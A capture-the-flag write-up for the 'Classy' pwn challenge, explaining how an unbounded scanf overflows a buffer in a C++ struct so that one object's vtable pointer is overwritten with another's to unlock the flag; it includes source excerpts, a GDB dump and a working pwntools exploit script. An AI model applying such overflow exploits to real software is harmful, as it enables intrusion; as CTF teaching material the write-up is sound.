Classy

by xlr8or / xlr8or

Tags: pwn cpp

Rating:

Classy (pwn)

Writeup by: xlr8or

As part of this challenge with get an x86 ELF binary with it's source code (c++). The application gets the flag from an environment variable.

Then a series of prompts follow, but the important take away is this: we can make the application print the flag for us, if we have sophistication level 2 (by choosing option [3] Flags), but this sophistication level requires a password, which is unknown to us (the remote uses a different password than the one in the source code `hunter`)

So we are stuck with sophistication level 1, which will not reveal the flag to us, even when choosing the option which talks about flags. However the application has a vulnerability, let's look at it:

```
// main.cpp:225
    cout << "Now what do you want to tell me?" << endl;
    scanf("%s", input.text);
    if (level == 1) {
      talk(input.lCon, choice);
    } else {
      talk(input.hCon, choice);
    }
```

The user input is read with `scanf` instead of `cin`, however the amount to read is not bound in the format string! Therefore we can write out of the bounds of the `input.text` variable.

Let's see how that can be useful to us:

```
struct input_info {
  char text[256];
  HighLevelConnoisseur hCon;
  LowLevelConnoisseur lCon;
};
```

`input` is of type `input_info`, and as you can see we have the ability to overwrite `hCon` and `lCon` as well. This is important, since these objects will be used with the specified dialog item, to talk about the selected item.

So all we need to do is to replace `lCon` with `hCon`, and then we can get the flag. Since the binary has PIE disabled, we can just execute the binary and grab the value of these 2 fields, as they will not change from run to run.

Here GDB shows us the value of the `input` variable, before the call to `scanf`

```
$1 = {
  text = "\000\000\000\000\000\000\000\0000\365A", '\000' <repeats 29 times>, "\240\033\277\367\377\177
\000\000\001\000\000\000\000\000\000\000\240\377\377\377\377\377\377\377\021\000\000\000\000\000\000\00
```

```
0\000\320\377\367\377\177\000\000\000\000\000\000\000\000\000*000\' ,"177\377\367\ت' <repeats 18 times>, "\037", '\000' <repeats 15 times>, "P\273@\000\000\000\000\000\235\b\313\367\377\177\000\000@\273@\000\000\000\000\000\027\227\325\367\377\177\000\000\031X@", '\000' <repeats 13 times>, "\036\000\000\000\000\000\000\000\000h\372\217(\345\004\237 \274@\000\000\000\000\000@"...,
  hCon = {
    <Connoisseur> = {
      _vptr.Connoisseur = 0x406a98 <vtable for HighLevelConnoisseur+16>
    }, <No data fields>},
  lCon = {
    <Connoisseur> = {
      _vptr.Connoisseur = 0x406ab0 <vtable for LowLevelConnoisseur+16>
    }, <No data fields>}
}
```

The value of `hCon` is `0x406a98`, therefore that is the value we want `lCon` to have as well. The python script below automatically overwrites the `lCon` field and recovers the flag:

```python
from pwn import *

rem = True
connstr = 'rumble.host 9797'
binary_path = './classy'

p = None
if not rem:
    p = process(binary_path)
else:
    parts = connstr.split(' ') if ' ' in connstr else connstr.split(':')
    ip = parts[0]
    port = int(parts[1])
    p = remote(ip, port)

p.sendlineafter(b'?', b'1')
p.sendlineafter(b'level.', b'3')

payload = b'A' * (256 + 8) + b'\x98\x6a\x40'
input('.')
p.sendlineafter(b'me?', payload)
p.interactive()
```

It first fills up the `text` buffer, then overwrite `hCon`, since there's no way around it, but we don't really care about its value. Then the important bit is overwriting `lCon` with the value `hCon` used to have.

Comments